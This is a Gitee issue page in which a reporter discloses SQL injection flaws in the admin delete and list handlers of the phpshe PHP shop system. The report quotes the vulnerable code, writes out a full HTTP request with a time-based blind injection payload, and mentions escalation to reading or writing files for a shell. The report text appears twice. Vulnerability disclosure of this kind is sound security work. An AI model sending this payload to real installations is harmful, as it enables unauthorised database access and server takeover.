登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
登录
注册
9月20日,Gitee × 模力方舟来成都了!聚焦 AI 应用在开发范式、算力架构、交互设计、硬件选型等跨场景创新实践,点击立即报名~
代码拉取完成,页面将自动刷新
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
17
Star
48
Fork
17
koyshe
/
phpshe
代码
Issues
7
Pull Requests
0
Wiki
统计
流水线
服务
PHPDoc
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
I found multiple SQL injection in the background.
待办的
#INPIT
p0desta。
创建于
2018-10-18 23:52
1. a vulnerability point  Look at the code admin/user.php ``` case 'del': pe_token_match(); if ($db->pe_delete('user', array('user_id'=>is_array($_p_user_id) ? $_p_user_id : intval($_g_id)))) { pe_success('会员删除成功!'); } else { pe_error('会员删除失败...'); } break; ``` It is found that if one is deleted at a time, intval processing will be performed. If it is deleted in batches, the statement will be directly substituted, and the payload is constructed as follows. ``` POST /phpshe/admin.php?mod=user&act=del&token=d52aa9e11515574f774c9da971a4ae10 HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 51 Referer: http://www.test.com/fiyocms/ Cookie: PHPSESSID=2j08sefmgofettspbuso00fs07 Connection: keep-alive Upgrade-Insecure-Requests: 1 checkall=on&user_id%5B%5D=2') and if(1,sleep(5),1)# ```  2. Additional code for this type of situation admin/userbank.php ``` case 'del': pe_token_match(); $userbank_id = is_array($_p_userbank_id) ? $_p_userbank_id : $_g_id; if ($db->pe_delete('userbank', array('userbank_id'=>$userbank_id))) { pe_success('删除成功!'); } else { pe_error('删除失败...'); } break; ``` admin/userlevel.php ``` case 'del': pe_token_match(); $userlevel_id = is_array($_p_userlevel_id) ? $_p_userlevel_id : intval($_g_id); if ($db->pe_delete('userlevel', array('userlevel_id'=>$userlevel_id))) { cache_write('userlevel'); userlevel_callback(); pe_success('删除成功!'); } else { pe_error('删除失败...'); } break; ``` admin/ad.php ``` case 'del': pe_token_match(); $ad_id = is_array($_p_ad_id) ? $_p_ad_id : intval($_g_id); if ($db->pe_delete('ad', array('ad_id'=>$ad_id))) { cache_write('ad'); pe_success('删除成功!'); } else { pe_error('删除失败...'); } break; //####################// 广告状态 //####################// case 'state': pe_token_match(); $ad_id = is_array($_p_ad_id) ? $_p_ad_id : intval($_g_id); if ($db->pe_update('ad', array('ad_id'=>$ad_id), array('ad_state'=>$_g_state))) { cache_write('ad'); pe_success("操作成功!"); } else { pe_error("操作失败..."); } break; //####################// 广告列表 //####################// default : $_g_type && $sql_where .= " and `ad_type` = '{$_g_type}'"; $_g_position && $sql_where .= " and `ad_position` = '{$_g_position}'"; $sql_where .= " order by `ad_order` asc, `ad_id` desc"; $info_list = $db->pe_selectall('ad', $sql_where, '*', array(20, $_g_page)); ``` 3. Now I am looking for another example to verify.  If there is permission in the target environment, we can read the file or write the file to getshell. 
1. a vulnerability point  Look at the code admin/user.php ``` case 'del': pe_token_match(); if ($db->pe_delete('user', array('user_id'=>is_array($_p_user_id) ? $_p_user_id : intval($_g_id)))) { pe_success('会员删除成功!'); } else { pe_error('会员删除失败...'); } break; ``` It is found that if one is deleted at a time, intval processing will be performed. If it is deleted in batches, the statement will be directly substituted, and the payload is constructed as follows. ``` POST /phpshe/admin.php?mod=user&act=del&token=d52aa9e11515574f774c9da971a4ae10 HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 51 Referer: http://www.test.com/fiyocms/ Cookie: PHPSESSID=2j08sefmgofettspbuso00fs07 Connection: keep-alive Upgrade-Insecure-Requests: 1 checkall=on&user_id%5B%5D=2') and if(1,sleep(5),1)# ```  2. Additional code for this type of situation admin/userbank.php ``` case 'del': pe_token_match(); $userbank_id = is_array($_p_userbank_id) ? $_p_userbank_id : $_g_id; if ($db->pe_delete('userbank', array('userbank_id'=>$userbank_id))) { pe_success('删除成功!'); } else { pe_error('删除失败...'); } break; ``` admin/userlevel.php ``` case 'del': pe_token_match(); $userlevel_id = is_array($_p_userlevel_id) ? $_p_userlevel_id : intval($_g_id); if ($db->pe_delete('userlevel', array('userlevel_id'=>$userlevel_id))) { cache_write('userlevel'); userlevel_callback(); pe_success('删除成功!'); } else { pe_error('删除失败...'); } break; ``` admin/ad.php ``` case 'del': pe_token_match(); $ad_id = is_array($_p_ad_id) ? $_p_ad_id : intval($_g_id); if ($db->pe_delete('ad', array('ad_id'=>$ad_id))) { cache_write('ad'); pe_success('删除成功!'); } else { pe_error('删除失败...'); } break; //####################// 广告状态 //####################// case 'state': pe_token_match(); $ad_id = is_array($_p_ad_id) ? $_p_ad_id : intval($_g_id); if ($db->pe_update('ad', array('ad_id'=>$ad_id), array('ad_state'=>$_g_state))) { cache_write('ad'); pe_success("操作成功!"); } else { pe_error("操作失败..."); } break; //####################// 广告列表 //####################// default : $_g_type && $sql_where .= " and `ad_type` = '{$_g_type}'"; $_g_position && $sql_where .= " and `ad_position` = '{$_g_position}'"; $sql_where .= " order by `ad_order` asc, `ad_id` desc"; $info_list = $db->pe_selectall('ad', $sql_where, '*', array(20, $_g_page)); ``` 3. Now I am looking for another example to verify.  If there is permission in the target environment, we can read the file or write the file to getshell. 
评论 (
0
)
登录
后才可以发表评论
状态
待办的
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
未关联
未关联
master
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
PHP
1
https://gitee.com/koyshe/phpshe.git
git@gitee.com:koyshe/phpshe.git
koyshe
phpshe
phpshe
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
评论
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册